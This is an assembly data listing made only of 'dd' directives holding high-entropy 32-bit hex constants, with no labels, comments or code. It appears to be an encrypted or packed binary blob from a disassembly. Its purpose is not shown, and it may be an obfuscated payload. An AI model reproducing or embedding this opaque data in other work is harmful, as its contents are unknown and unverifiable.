		dd 0D3CFF7Eh, 13ABAC96h, 32A9291Ch, 4FB92C4Fh, 0E0F036BAh
		dd 0C9FAF1B5h, 13C2602h, 8EF6FCEEh, 68E13A70h, 2D0CF1F9h
		dd 7EFC000h, 48E1F8CBh,	3D11874Ah, 0B8970D5Bh, 0E459A886h
		dd 0C3AACCFAh, 0B053FC0Ch, 3930C0Bh, 0E9EA4F32h, 0DF2C9CDFh
		dd 0F10965D1h, 953CCC07h, 40961F7Ch, 30CBDC90h,	61777A48h
		dd 49B26346h, 9ECBDBB3h, 7E84C8ECh, 65F56A09h, 379B775Ah
		dd 3B20AEFCh, 4B68535Ch, 0F920FEFFh, 0E4D48850h, 5F3590E5h
		dd 8243271Dh, 900B7BA6h, 0B1B7FD19h, 84DC09C4h,	0CBB9B07Dh
		dd 0B019F839h, 0FC3F4EA6h, 0F08CC4FBh, 9054CCBFh, 106B4945h
		dd 6E00B36Fh, 0E97C1710h, 88CD12E2h, 0C070F458h, 41E42A68h
		dd 56BD051Ah, 0B8753758h, 34E93914h, 0ABE2114h,	801791ACh
		dd 47696851h, 3CFC378Ah, 0C11C1F67h, 42CB7669h,	386A199Eh
		dd 0DD5219D6h, 3C0922CDh, 0C2CEC8DEh, 7DADC498h, 1F8BAE63h
		dd 0C1960525h, 0A4F5EE95h, 0D3192965h, 0C5C0079h, 736818C3h
		dd 50BE7A53h, 55826017h, 0FE558410h, 8BD478E1h,	44292B3Eh
		dd 976812E0h, 6063FE08h, 0E6F092E9h, 0BA5E4B7Bh, 1FE4E774h
		dd 52396BC2h, 68C1D5F4h, 0DA264A16h, 6C1FD517h,	3CE110BAh
		dd 758ADE7Dh, 58C42C06h, 0C972A3AFh, 0B90AA0D6h, 0A223AFF3h
		dd 0BEB0FDD6h, 0ADCB65E9h, 0B975005Dh, 0F8B11BFAh, 913B7CBEh
		dd 0A7CFE2E8h, 6F818F9Ah, 483AAC66h, 35F8552Dh,	0C553A904h
		dd 0D7EF015Dh, 0C294FB5h, 47984E94h, 795BEF05h,	33C41764h
		dd 5B08AC10h, 4B580E8Ah, 33E8BF03h, 2C050F83h, 4EB97662h
		dd 3EF92CEAh, 73BB1E08h, 0DF6A3021h, 395AFE03h,	5A83F4F0h
		dd 0B2D4C7EAh, 4361CA87h, 7C0AA741h, 2071258Eh,	562EC5CFh
		dd 0FB4601D0h, 31C62095h, 93CB893Fh, 6A4AA0A2h,	0FF504BD6h
		dd 0FB7E0BF8h, 0CBD6EE31h, 0D16FA640h, 97629713h, 0FE680709h
		dd 539FC787h, 0C9E21E89h, 64726782h, 0C8175D25h, 975AD746h
		dd 0F7C70600h, 7734FB61h, 88E2B85Bh, 62940248h,	3FE95981h
		dd 0BD0C801Dh, 401773ECh, 15C50481h, 0EABFE88Ch, 98BE6FD1h
		dd 4E4E75F8h, 0B348AA01h, 5550007Ch, 0A845A9BDh, 21F53EC0h
		dd 981D8669h, 0FBE9134Ah, 0B70E41CFh, 60DFF6ACh, 88807521h
		dd 4A4BB0DAh, 681220F2h, 0EC930F42h, 122163Dh, 3382D134h
		dd 0B701D858h, 75B46261h, 8DA06EEFh, 586A90DEh,	9DEB54Bh
		dd 0EFE8986Dh, 0C04A39DCh, 5C42C202h, 0F6F8E0B3h, 48477B0Fh
		dd 2F600526h, 9E01DABEh, 49F95C4Eh, 0E9C20949h,	4C0CDF17h
		dd 9A7D0FD2h, 0B3844E11h, 90F6B96Ch, 0EE597E1Dh, 27AC4EB3h
		dd 670FB48h, 3178E796h,	0E912E5CDh, 0F5910E2Fh,	0B214225Bh
		dd 46532FA3h, 5978BFCBh, 4C5FAC20h, 51186388h, 0C6C3F546h
		dd 2ADE060Bh, 599D7059h, 2C18ED3Ch, 0BA349E1Ch,	801C84BCh
		dd 0BE96CC7h, 0ED1D2D69h, 931E266h, 589FE44h, 9645B86h
		dd 9B2D4C51h, 2D988A7Ah, 0E392E47Dh, 326BABECh,	41284CC6h
		dd 0F740642Ch, 80077AB1h, 0A8939DF2h, 0E7C50284h, 3B902A9Fh
		dd 0AAE8380h, 0C7BF459Ch, 0C338A7Eh, 48F28199h,	206D634Bh
		dd 3B046E54h, 31E91109h, 0A20D3AB1h, 390A1720h,	0E989AC47h
		dd 155A2670h, 562DC86Eh, 0CF3E41AFh, 6878366Ch,	4F8A7A0h
		dd 0EA02602Eh, 0DB5EA6C1h, 0A902313Eh, 4CEE3323h, 817C3037h
		dd 1D3898EDh, 8BC11B3Ah, 0FDD84D06h, 31453D2Ah,	5B055779h
		dd 5F763E3Ch, 0AF0A84BFh, 36443F40h, 2AE9E0F6h,	3CFDCEBh
		dd 13C135D0h, 0DFAB059Eh, 0E94C09A0h, 40FC2B4Dh, 2517A2DEh
		dd 0A21D26EDh, 44C0E45h, 0A07E0ABCh, 2A685608h,	0F045340Dh
		dd 0AB140219h, 5307E906h, 867F8544h, 0AB4C8324h, 0D70D821Ah
		dd 6E3D728Dh, 905748E0h, 68204C52h, 92A5238Ah, 0F5C1085Fh
		dd 7E8BB901h, 803A64C3h, 2390308Bh, 5BE80EDh, 0CB095B7Bh
		dd 4B42BD59h, 0C8F4EB04h, 51CD926Eh, 0E407AC8Ah, 41A235B5h
		dd 0B8208F48h, 165A6816h, 0B2A256A9h, 0B3534C48h, 275B2B4Ch
		dd 24A27C5Bh, 1C3F182Dh, 619E4C0h, 23685166h, 0C1495B00h
		dd 0A590E150h, 8FC74748h, 7E18AEBAh, 76F4A0C9h,	0B17F8F05h
		dd 118B72C9h, 155F17C2h, 98E90D68h, 4A3B6059h, 1F8C324Eh
		dd 0AFEB4E53h, 92837725h, 5A122DEEh, 0E821B602h, 0D549AD79h
		dd 1D5BD492h, 0FF97B70Ah, 425EF6Ah, 0D4BA587Ch,	0A1E7EA45h
		dd 0CA2464Ah, 52502C0Fh, 426BA9C5h, 0A087140Eh,	0B7F7150Ah
		dd 8CBF3BF1h, 0C8723C9h, 56D3ECAh, 145C51AFh, 4B8DE2C1h
		dd 0EA00CABEh, 2083090Ch, 93C9D121h, 0AAA7F55Ah, 92A79923h
		dd 0C03572D7h, 0F020E652h, 304906Ch, 1C610A17h,	0A3EAFD89h
		dd 0EF800044h, 43CB359Ch, 29D14CF5h, 2F207B8h, 122D56B7h
		dd 0CB928B74h, 0CEEF3652h, 10827634h, 9FF7A8B5h, 14A7D0DBh
		dd 0F8E91574h, 0B15896FBh, 0B24B4D78h, 4CB1683Eh, 7BB5444Dh
		dd 5A745841h, 0C89CB28h, 895459F3h, 0D01DE984h,	58F29D89h
		dd 3A84A803h, 438D2E7Ch, 0C4885ACEh, 1E432C0Fh,	0CDCE0CCFh
		dd 33D4CC1Fh, 4E3F381Ch, 357EEDCBh, 0EB0AD860h,	0B380A334h
		dd 932C5C68h, 40CA1237h, 0E3B850ABh, 0C57B3795h, 1AC6E54h
		dd 5F88C850h, 0FFA4C7D2h, 5A794038h, 835C7497h,	5D2C0281h
		dd 174BCEA0h, 0F7250904h, 59C046DEh, 5A98D1C3h,	1B5C8183h
		dd 78C62340h, 706DDC20h, 296A09BAh, 0C5550173h,	0C73E34DEh
		dd 0D4A73016h, 0D8BFFE3Bh, 0A5AAB0C9h, 0F8298BB9h, 2770FA89h
		dd 16925057h, 4FB91F94h, 0E877668Fh, 55538952h,	2C211BA2h
		dd 128BEE55h, 0BDC8B60Fh, 27151A31h, 802FD5A1h,	0A26AD444h
		dd 0AFA25BD4h, 0B185E985h
		dd 0EFD280D4h, 1D6C4966h, 62F74801h, 0D6FE0841h, 54E950A9h
		dd 7EF1AC54h, 3E1A2317h, 0C9B940FEh, 71FF6A53h,	3F09C1ECh
		dd 4B2EF9h, 5B6B0AEDh, 1F409F6Fh, 1E1A7951h, 0D1CCA29h
		dd 14041C08h, 578B66B9h, 95D5B6F5h, 0BC72D264h,	0CFD30782h
		dd 0C1CE73B2h, 1DD48EC3h, 0B1295A74h, 0E9080081h, 79B668EFh
		dd 0DAC80069h, 9723663Dh, 72583C40h, 12E01658h,	9AE0D108h
		dd 43561DE0h, 37F58001h, 0E949A346h, 4502785Ah,	7D4AC480h
		dd 30A4F060h, 37CBFC5Fh, 1092E84Eh, 533BE76Ch, 0B3135212h
		dd 781107A4h, 86D23CCAh, 446EF719h, 96A7295h, 331334CBh
		dd 7345C9FCh, 0AF719E4h, 4E9D211Ch, 0D3C6029Eh,	0E8D0B147h
		dd 0C2902978h, 0B301182Fh, 220BD9E2h, 0BEF45BEEh, 0AE5BB534h
		dd 0EFEEB4C1h, 307163Eh, 4672CD33h, 21550192h, 0A24EE9D4h
		dd 59D6C864h, 0F7896531h, 2500F3F0h, 26F514E6h,	306B6C05h
		dd 0FE675FCh, 654841DAh, 9D1F2066h, 0D1096E5Ch,	0C55FF4E7h
		dd 377BDACh, 984D7805h,	0B0440272h, 31B28C08h, 0B8E4BF7h
		dd 0F2A1E935h, 0D751B95Ch, 8D5D173Ah, 0A7293B27h, 18B9613Eh
		dd 0C7F31155h, 3F4B2A40h, 0E4757B96h, 8116979Ah, 77F90995h
		dd 7FC09618h, 0A2B710C4h, 0E921ABB0h, 72DBD72Ah, 8BD22AFDh
		dd 715F0413h, 6BA38212h, 1310FB48h, 0BA52021Ch,	0C0201BADh
		dd 1842EAB3h, 0C096E5Fh, 0B127BC67h, 0AC4CE1FAh, 0D9247639h
		dd 4275037Fh, 0F1E90F70h, 0D5E7894Bh, 48005B7Ch, 53D402B6h
		dd 2601BD9h, 0AF044F9Ah, 0C3AEE945h, 29BB31FAh,	6E75D277h
		dd 0BB54D29Bh, 68133C2Bh, 1C4FAA0Eh, 9BFE320Ch,	62225E31h
		dd 59CC49DCh, 31A37D7Fh, 4AA428AEh, 508F9228h, 40CCD447h
		dd 0A2955D79h, 0A35CE18h, 0E1541646h, 85E82B4Ch, 0C185B3A1h
		dd 0D8BE05DAh, 895E33CDh, 0C5A7DAF8h, 0B96BB058h, 3F53790Fh
		dd 0B4EB457Eh, 914A9123h, 0C6D84303h, 13FFFE9Fh, 10FE014Fh
		dd 0E912085Dh, 0F7F244EDh, 7B88BFDAh, 5F3E67Ch,	2D47E96Dh
		dd 0BE7A1301h, 0AE5CFCDh, 54034A33h, 0E580E95Eh, 4A2D1402h
		dd 0E0697741h, 0C0F43A32h, 4F75C599h, 6A988EA5h, 0E52D91BCh
		dd 0EB2FA477h, 0DAF5825Fh, 9E4D5EF7h, 0B05612B3h, 0F0C15E3Ch
		dd 4406190h, 0F70B042Bh, 5BF5C0D2h, 1EC8CFDh, 32AFD74Fh
		dd 81F756F5h, 897DD012h, 0AE605DD6h, 0E3078107h, 54D21BA6h
		dd 24A92E6Fh, 65B18D0Eh, 45F7F16Ah, 0AB48D486h,	0BE617F0h
		dd 0B503C54h, 0CFF7756Ch, 0BB4003DAh, 3B2823D5h, 673B53Dh
		dd 0E913F8B8h, 82CC177Bh, 316C4F2Fh, 79F87268h,	0F18100A3h
		dd 29BA0F3Fh, 0EB4CFC41h, 7374C424h, 591C2C58h,	85601638h
		dd 0F8682DE6h, 0ECBFEF11h, 30C3222Dh, 0A613D54Eh, 71F7AAD0h
		dd 399F3F52h, 0F9B09112h, 5802D1Bh, 8FEE544Eh, 0DF680C6Ah
		dd 4074571Ah, 0C72C881Ch, 123D7B58h, 3D56099Bh,	3AF09AAh
		dd 527000D5h, 24E90798h, 5AC3845Ch, 19FE1E7Dh, 7985E0E9h
		dd 88A8580Eh, 823AF158h, 54011E3Ch, 0F0F645C0h,	0EE2FC1DCh
		dd 60185902h, 1FDADDFEh, 59CE290Bh, 49605609h, 0E1E9AF30h
		dd 0DDDE0BB7h, 108E0D38h, 5EB62B2Fh, 5F59875Ch,	0D203BE9h
		dd 4741B425h, 8035451Dh, 1C000357h, 8B3EE8C3h, 42DAEF23h
		dd 0D7080B42h, 0DEFEBF31h, 0E2889A51h, 0EED10CC6h, 0FAF403D2h
		dd 0B4B26BD5h, 5AEACBBBh, 2A686C28h, 97370B20h,	9500EED0h
		dd 40080353h, 3806E8C1h, 85BF1E35h, 5D0F780h, 966F28AEh
		dd 343CFE95h, 288FBA69h, 4006E912h, 4287BEAAh, 0AC9072AFh
		dd 14277AE2h, 8F318F77h, 1CC29204h, 0A8AB4055h,	618A2651h
		dd 0CB2B1E5Dh, 0CE011C94h, 411848AFh, 2289CA83h, 7BC40187h
		dd 0EF29338Ah, 81295E3h, 0C7E92DFAh, 0CEEF34CCh, 2AF24F83h
		dd 6785D118h, 765CE7EFh, 603C484Fh, 7B2B038Ch, 6EE9123Dh
		dd 267C2739h, 7AF604DBh, 0B36682BFh, 0FBAFFD3Dh, 93C41564h
		dd 0C2BADAFDh, 531748F6h, 575E63AFh, 6F013DF1h,	9C97BFB2h
		dd 0EA6A29B7h, 0B308E2E9h, 0BFD62D5Ch, 3FFBD62Fh, 0B048C93Fh
		dd 3312CE39h, 212CFB5Eh, 91AD549Bh, 15416387h, 0B2DC659h
		dd 0B52A580Eh, 522F3845h, 3FE91643h, 620FF37Ah,	0EC1E7590h
		dd 0B4EF7525h, 6890BFF9h, 72883E9Fh, 595BF80Bh,	5085895Ah
		dd 9C1EB551h, 6E52928Ah, 1914BB2Dh, 0F6AD70C8h,	993F53D6h
		dd 5A1E035Fh, 0DC7B876Fh, 425AA06h, 0F0DA053Ch,	5A72B9D3h
		dd 93B0C88Fh, 59121561h, 0F37F501h, 0F7C85872h,	0F906DF8Ch
		dd 9085F69h, 0D701422Bh, 242BB1Eh, 0AA46F013h, 18DA946Dh
		dd 3B5A6668h, 81C006A2h, 456E1AEEh, 0CF0C0860h,	4A409C22h
		dd 41EEF801h, 140CA008h, 52615A4Eh, 0E13D7919h,	3C60F325h
		dd 582E6852h, 5A05A913h, 57CD5431h, 0B1A6D407h,	8B20429h
		dd 0FC5EF280h, 0FB5B7E23h, 0C8122DEDh, 12A6A361h, 19E691DCh
		dd 0F506BC5Fh, 0FC0595C1h, 6C21393Bh, 549794CFh, 0E5935BC2h
		dd 0E9419224h, 342E12C6h, 5BE58004h, 943926F2h,	0CF088105h
		dd 2DE80135h, 0E95D0740h, 58ACF571h, 6C9E0210h,	91F07546h
		dd 718A09BFh, 64E985E6h, 3444EFEDh, 0E3B21CB9h,	5B3EB80h
		dd 0D0B60F36h, 594B08A0h, 0BEB4FBA8h, 0DBB37E61h, 5009D17Ah
		dd 17CC7F20h, 0D2361640h, 0B0F1010Dh, 6F17FA13h, 0CCE96BC0h
		dd 0A9F9971Bh, 2DBC77CBh, 0A1E95C0Ch, 0B50118A4h, 17A36880h
		dd 5B5B446Ch, 94C64B45h, 4BDFDBBFh, 0E9C2F5BCh,	0B67E7A73h
		dd 811DE050h, 5DE83A5Ah, 0B0C3F8E4h, 9D46EC68h,	49268FE6h
		dd 0CA389DD3h, 0B89303F9h, 485837h, 51C85CB2h, 0C447DFF7h
		dd 0A0E5E906h, 0E11EC0BDh, 566FD007h, 305B4798h, 0D9F690F1h
		dd 0DC96E6F8h, 11147F25h, 0D7685E12h, 5CB77C53h, 536DE909h
		dd 0AE001992h, 0EE80B1B6h, 24A5E848h, 0AA4BE548h, 32021C43h
		dd 804BF704h, 76A6DDBCh, 3B409DD9h, 6EB5434Ah, 0F0E3A209h
		dd 54939475h, 0A96C5932h, 5B5E69DFh, 97030A39h,	212F9D2Ah
		dd 0FB50B4C7h, 589C97D2h, 0EE294F77h, 23E26867h, 5B5DECCAh
		dd 0FFAF84CFh, 2F488EDBh, 5FE98A44h, 28780031h,	17ED80D5h
		dd 884CC5E6h, 0A5E50FDBh, 2DE982F6h, 3B657FF8h,	554273Eh
		dd 9FFA5C59h, 0BDDE19C4h, 0FD2ED019h, 0A4E68566h, 7A6130AFh
		dd 217DC180h, 0B3D2EB31h, 83121AB8h, 7FFED170h,	6AB4DF5Bh
		dd 3FA60CC3h, 790C33A8h, 5C950E3Bh, 90890FBh, 527F10E9h
		dd 0BAC17B50h, 0B8D54B0Ah, 7E4C04D9h, 32A16A3Ch, 882F22B3h
		dd 24448AF0h, 6C690276h, 58B8FE08h, 366192E9h, 77EA809Eh
		dd 0BF5AD3C0h, 0D9EBDBC0h, 69F5F9B5h, 550BA546h, 0E827BFE9h
		dd 808F54EEh, 4F59FC68h, 26C08042h, 4811092h, 0FAD150F2h
		dd 0E4CDB109h, 5713AECFh, 4A1E4C2Ah, 3D0F1DC2h,	0A7E47D97h
		dd 0B1AACEDh, 21DFFC04h, 7C0157C5h, 5E145706h, 3480BC2Dh
		dd 0E96DC158h, 12B8713h, 5CC0A2B6h, 7AEF092Dh, 0E90182B0h
		dd 34EE7176h, 95E3C129h, 1B210816h, 0E77B6873h,	25864CA2h
		dd 528892Ah, 0ACE17AEFh, 9EDF97A7h, 102423Eh, 0E973B450h
		dd 0D56FF94Dh, 488EA930h, 56FA2EBDh, 5D988826h,	0E467621Eh
		dd 69DB9034h, 0E3010D5Eh, 797D98E9h, 0D068C20Eh, 64767C08h
		dd 0A7A5FFBEh, 0CC6A6CF9h, 9EB43F9Ch, 2E77D827h, 9F6F37BAh
		dd 8291925Eh, 2774057h,	0E37477h, 0F3787C35h, 0C32582B8h
		dd 4010D558h, 366B30E9h, 59007444h, 347A30C2h, 120ABD80h
		dd 1362F972h, 982A0869h
		dd 57BE5600h, 710C171Ch, 80984Eh, 63895BFCh, 0C055BA52h
		dd 29A88D0Bh, 3B398ED6h, 0ADB21351h, 82A4FD9Dh,	7502E883h
		dd 0C03769E7h, 6841171Ah, 8D3B437Eh, 40E423D1h,	1617D0C5h
		dd 40BA73A8h, 39E1ACDBh, 562DE984h, 4FB97C3Dh, 10730906h
		dd 7234BF05h, 39BC0BDAh, 0D7262F4Ch, 9A4101Fh, 8ED9CD80h
		dd 8CDD4965h, 4CD61E73h, 35878DC4h, 6046C733h, 5E12A4E3h
		dd 6C607F65h, 0F709998Ah, 605395D0h, 5AAD941Ch,	1B8CC474h
		dd 454E802Fh, 0D04BE4CBh, 0CA4F18A9h, 0CCF94BBDh, 68E1F7E0h
		dd 0AD58C52Dh, 6880279Dh, 0BAF1D7Dh, 0EE4E874Eh, 571E1A81h
		dd 0C049B400h, 0C480A2C3h, 0A8609FF3h, 25E9E288h, 6154EFEAh
		dd 843B8A51h, 0DBDC31EDh, 0C2FD9F18h, 0EAD12662h, 80C5099Ch
		dd 0F3BDAA4Eh, 0CB6AA1F0h, 0A042175Eh, 0D4BE00DCh, 267A762Bh
		dd 0AF08E42Ch, 0B1BB056Fh, 0F2200821h, 0C97977C2h, 7495B860h
		dd 250A01BCh, 3F0589Bh,	2D5E4005h, 0BD2519B6h, 136CF4B3h
		dd 2015E008h, 58910464h, 4CC68047h, 1550CA0h, 2FF2232Fh
		dd 5F53C205h, 8125CACCh, 16FE7962h, 0FEE905D1h,	16EBA868h
		dd 0D4612354h, 676DB387h, 40D50110h, 0FF5EB4BCh, 0D74B08E6h
		dd 9C689078h, 0E0951205h, 1699CD49h, 139A46h, 14348A5Dh
		dd 516BE9DEh, 24885C4Fh, 2F5DE0E5h, 879F30A5h, 0DC8B5016h
		dd 5F684193h, 9C2D7A6Fh, 78301B2Ch, 0BE582DE1h,	0BF44C60Fh
		dd 0D6B61B3h, 2B2CC731h, 0A3BD55C1h, 3E4A6139h,	817DA0h
		dd 2B3899E5h, 8CCCE96Ah, 0EC514694h, 0E32EAA32h, 998104Dh
		dd 5469FB68h, 26308576h, 81526401h, 5E13752h, 3B33C9EEh
		dd 0E91F4B9Eh, 2516B05Eh, 2D00448Ch, 518D3569h,	0B057A71h
		dd 0F053A9FFh, 9D9C875Fh, 0BFE79DCCh, 7E357780h, 0C3807723h
		dd 74C92C07h, 0ABE20D5Dh, 5DA792Ah, 0DBF00DF2h,	53FB6284h
		dd 0A68BFB44h, 85BD5510h, 2587EE01h, 9A3FEE8Dh,	0E1605F3Ah
		dd 0E110D968h, 0A75BB83Eh, 1DC55BD4h, 7CB4A105h, 224C8C00h
		dd 25E97ED5h, 559C8DA3h, 4070E8FCh, 60C57497h, 326EBA0Dh
		dd 0E9925009h, 2DAE5ED1h, 562719F3h, 59B55C74h,	15740991h
		dd 0C8FF3492h, 80ED9D27h, 200547C7h, 614330BAh,	2A7A56C7h
		dd 40F5E916h, 0CE7AD402h, 0BCE5FE4Fh, 0ABBD056Fh, 5207AE38h
		dd 550936A4h, 5C25E0C7h, 2CCCF93Fh, 0EA727E9Bh,	1836B11Eh
		dd 14D7F0C9h, 952F986Bh, 982D5B44h, 3CE451E1h, 48162318h
		dd 0C8A0FE29h, 4D2419EEh, 2B42BA58h, 15760973h,	5BBD6870h
		dd 2B83CC44h, 789D5D4Eh, 0DE5AB8ECh, 4B24950Ah,	3455D801h
		dd 0E1FB0107h, 0FF0841C3h, 398F6A33h, 8287A74Ah, 0D57E0668h
		dd 7727A9C5h, 38F3A69Eh, 8FB90290h, 0D703E056h,	807BEE41h
		dd 5BED8149h, 0B70A4E37h, 0B92CDD9Dh, 0E44D415h, 43C78853h
		dd 0B2505BFDh, 4086C2ECh, 83C63ABDh, 0EC7F5DB2h, 85ED00B7h
		dd 0E90FA561h, 689D88B0h, 1375E5F4h, 5496C71h, 0C302ADBBh
		dd 0E054D60h, 1D3BCC59h, 0A540B6D1h, 88C5AB04h,	0E9402CAFh
		dd 523C6725h, 89D42599h, 36A94159h, 1BC6710Bh, 0BA45C7A3h
		dd 0B0563F8Ch, 82669A20h, 5A65F7B4h, 7721DFE9h,	0A59692E9h
		dd 7E32DD1Ah, 0BDD863BBh, 2927B17Fh, 0C6BDB47h,	0B7CF02EBh
		dd 4E3DE2BFh, 3F70944Ah, 64D212BDh, 5D9E9418h, 7D124DEAh
		dd 56F543BEh, 89590800h, 1E8A3D1h, 5AD73165h, 7404E7C1h
		dd 0F9606FF2h, 0CB53572h, 0AC7263A9h, 6A8B7742h, 0EF51CE78h
		dd 0E9DB8908h, 970DF87Dh, 71B7781Ch, 2CC0C93Fh,	0BD042613h
		dd 2D996843h, 0A810F3A3h, 7BB4AD6h, 9496745h, 551EC65Fh
		dd 60EA9126h, 0A8CAE8EFh, 7ABDF281h, 0E1085E2Fh, 20F8CD30h
		dd 0F5FA40Ah, 1F05D598h, 32E71764h, 78B2D24h, 23C69A7Eh
		dd 0B1C6BD4Ah, 299785BFh, 6EF8C8FAh, 7DB42E9Ah,	25F5E8D3h
		dd 0B8B5E15h, 4EF6EE64h, 10615D13h, 2D645453h, 3E557E5Fh
		dd 0C930E90Ah, 50DBB350h, 244BB00Fh, 0DA1D8974h, 35EA00AAh
		dd 6806E2C0h, 0A4BF0B73h, 0BF133F4Dh, 4A5C5A01h, 0A03B5629h
		dd 0A0BC0830h, 82303258h, 5084B902h, 0F62554F1h, 0A1D58C2Ah
		dd 0BB0BEBE9h, 6A5EB03Eh, 0E9080102h, 976C3BB6h, 631565C6h
		dd 0F6D74C27h, 0D3364211h, 826E6B54h, 0DD11FA2Ah, 22E83009h
		dd 2898D1F7h, 87FE0882h, 7E4A1238h, 84061ADh, 0DC2AC05Fh
		dd 682D9B16h, 187B7027h, 46D12F5h, 7AE94B76h, 0EC39EAFBh
		dd 2F1ACE7Fh, 2CA668CBh, 18308831h, 5ABCFA86h, 8082B928h
		dd 810B8A05h, 32960BF6h, 0FD71852h, 4DEEA63Eh, 57D69706h
		dd 6C08A0C8h, 5CD42D97h, 461B1A0Bh, 732603C7h, 7C29020Dh
		dd 43DA9D13h, 3E224E20h, 0A0785E94h, 564A5581h,	0B6DAAAD8h
		dd 0F826B36h, 0B8015B5Fh, 41C509E6h, 7EC1E17Eh,	0FA9374B7h
		dd 0BBA158Ch, 283710DEh, 520D8AFEh, 0F02E72FFh,	6014493Dh
		dd 41BC29FAh, 0EAD13AABh, 3A30DAD2h, 4D4012Dh, 2FE97967h
		dd 15C2425h, 83E35C62h,	0B675153h, 4BC8A680h, 88006D30h
		dd 5BC98116h, 0EC6B5F18h, 1B8201F1h, 0F8E968B2h, 80A96447h
		dd 1A50307Fh, 81ED0BABh, 0A84FEAD3h, 0DE822310h, 0C3C7398h
		dd 7D3BFBC0h, 17AB2C5Ch, 45D45BDEh, 0C0B1Ah, 10685A17h
		dd 280C9263h, 78577B72h, 1D912A52h, 235800B0h, 32D0D5Bh
		dd 884C3F21h, 19E90BABh, 0A45E1097h, 0E2669DA0h, 6272FDB1h
		dd 0D08A2B91h, 0D59820F4h, 7722D67h, 44ADD1ABh,	0D968056h
		dd 0E9E4237Eh, 0E6C5F14Eh, 179CB6ABh, 0ABD183A7h, 6602C013h
		dd 0DF3D62F5h, 11AEB683h, 0E6353CBh, 0EB1A6166h, 0F210335Ah
		dd 200C5B0Eh, 402E33E9h, 270098B5h, 7AA88B8Fh, 0AA4808F3h
		dd 3CA0B214h, 93A299D0h, 5DE4BA12h, 0E90E5E07h,	6CAE066Bh
		dd 112C1Dh, 0A33365C2h,	0FFCE931h, 9CF0A0A6h, 0BBB140BDh
		dd 0A95F1D55h, 9BD0707h, 163D51Dh, 3E47BE82h, 0CB4B34A0h
		dd 6E50E4A9h, 572509A6h, 873C16F5h, 0C0E989CCh,	0BF956428h
		dd 3E0F0173h, 14680CFDh, 0AE312F30h, 0AB15E651h, 0CD51C2B2h
		dd 0E25F402Ch, 0FDCBDF08h, 0B13CF589h, 69BD28A0h, 593E1295h
		dd 891042Ah, 0E54FC04Fh, 582D41C6h, 0CFFAC303h,	0A75C7530h
		dd 9F40BD6Bh, 671321CDh, 0D0FA6939h, 79BD2D7Ah,	0E040B92Ch
		dd 90411A11h, 97228BE0h, 3DEAD318h, 5D624605h, 53875552h
		dd 0E95FEC00h, 595E4088h, 0C1DFF705h, 0D8203EFh, 0FE0903D6h
		dd 0CA5E2DBAh, 25CA3F39h, 29FC0FBEh, 5A7FF6C6h,	0E95238F5h
		dd 6E6C419Bh, 13DE6BC6h, 1CCD45Ch, 25E2EA6Eh, 0DAF2619Fh
		dd 4089E88h, 0E021E95Dh, 5F3C5AD4h, 0D5B52756h,	0D3E37830h
		dd 0F8F9EAF3h, 0DE12CCCAh, 2D8162EAh, 0C75796A9h, 0FD6E2D42h
		dd 0E425D02Dh, 4B86F0FDh, 0F54C41DDh, 2E468716h, 0CC00D953h
		dd 450A22ABh, 0B71174E9h, 0AE0567A2h, 0EA21070Bh, 0E44A15E2h
		dd 59010B1Fh, 77FD430h,	1EF2E5C8h, 2CC5FDB0h, 0BEF8182h
		dd 109C06Bh, 0BA5200F7h, 3DB9461Ah, 219A8DE9h, 5CC4B800h
		dd 0CB354759h, 43942F38h, 515B1D50h, 0EA4F6BFCh, 4921932Dh
		dd 0E78056C2h, 125C6987h, 0BC542751h, 0D187C2FEh, 0C2EA7C40h
		dd 0BBAEFC13h, 44D12BBh, 241239h, 5608212Dh, 41629711h
		dd 0B755CED5h, 6A629B62h, 9DF2EEDDh, 0F8B79950h, 0D2EC2089h
		dd 21C3EE9Dh, 0C088BA52h, 99046F6Eh, 39CCAA4Dh,	6BA83168h
		dd 4B1ED2Dh, 8EC75AC0h,	89481728h, 6BD02DCAh, 0C8440607h
		dd 0CF6D5D09h, 66E29AB0h
		dd 0E0525BB7h, 47517C56h, 223F3079h, 0DA0F2774h, 1D3C7A6Ah
		dd 0D7AE0804h, 0FC5A84FBh, 3638C47Bh, 0FED6F601h, 800885CEh
		dd 6C8232E6h, 96801D4h,	0D2307F4Ch, 53316A04h, 0EA98F437h
		dd 35723C09h, 89E9510Ch, 975C18D9h, 5F726951h, 6815F21Ch
		dd 3C421DDBh, 8593B956h, 3EE908D5h, 2F393DFEh, 0FCC4CDF8h
		dd 5A830DD1h, 0B9B4A3E0h, 0E816A7F1h, 69F0AA49h, 0C294FE96h
		dd 41404AB4h, 5E8111D4h, 71CDF42Fh, 0F72AA913h,	8925E2ACh
		dd 0DC6D1979h, 0C39D62Ah, 0E10AD08h, 6957021Fh,	886967BBh
		dd 1F42891h, 1F1780BFh,	887A474Eh, 1A02B640h, 0DFE96460h
		dd 403B5DD5h, 694A0CDAh, 0A8E31F48h, 53216C16h,	6424EC06h
		dd 0EAAE2AE7h, 0E0EB5FAEh, 29245D21h, 2D5853CEh, 0E12E162Fh
		dd 7610FF0Bh, 0DA375B07h, 0FA0AD4B9h, 50639B5Eh, 0E90B0954h
		dd 69908446h, 11B43F27h, 0A8D0F9E9h, 2E180BCAh,	44802CFBh
		dd 7B660379h, 0D497E919h, 4BD959F4h, 0CDDB27DFh, 4597A870h
		dd 51A7B8F3h, 0CE5DF91Ah, 20CC9059h, 4CBD6E2Bh,	0EFC92AF1h
		dd 4B100CFh, 0F7813F03h, 14283043h, 351ED148h, 0C30F04Ah
		dd 589D72E4h, 0CA20EE70h, 0DD685C09h, 0FCC79A19h, 0F40812D7h
		dd 20F9CA7Dh, 0B9529F2h, 0CA4C5777h, 6DB43BFAh,	0D854BB02h
		dd 2675C65h, 4C391CBCh,	8A0EC56h, 0CDC53B7h, 0BE56F068h
		dd 0D9109D01h, 0C0C1813Ah, 3C1D7BC0h, 0E928F101h, 0C7E49508h
		dd 4F214459h, 0AC6A7F3Dh, 0E072A1B1h, 0DB16C80h, 5259CF20h
		dd 5255B22Ch, 0D74EBF1Eh, 21C7C25Ah, 0F5587D28h, 7060564h
		dd 0DCF60801h, 9F926052h, 969D3FACh, 80A75FEDh,	7FCF681Fh
		dd 696080BEh, 0B5665205h, 0C15FACC2h, 115025Ch,	0A94737C2h
		dd 1B714Fh, 0F40C67C9h,	5B97334Fh, 7C4D3830h, 412D632h
		dd 0FAFF36Ah, 0C972AB68h, 0E6553C2h, 5861E83Bh,	11FC1478h
		dd 38411010h, 28B5B902h, 0E45D22C8h, 6D75B181h,	0E5DC7E10h
		dd 80523CEBh, 0C33197h,	534FF395h, 1046437h, 6B70E9DDh
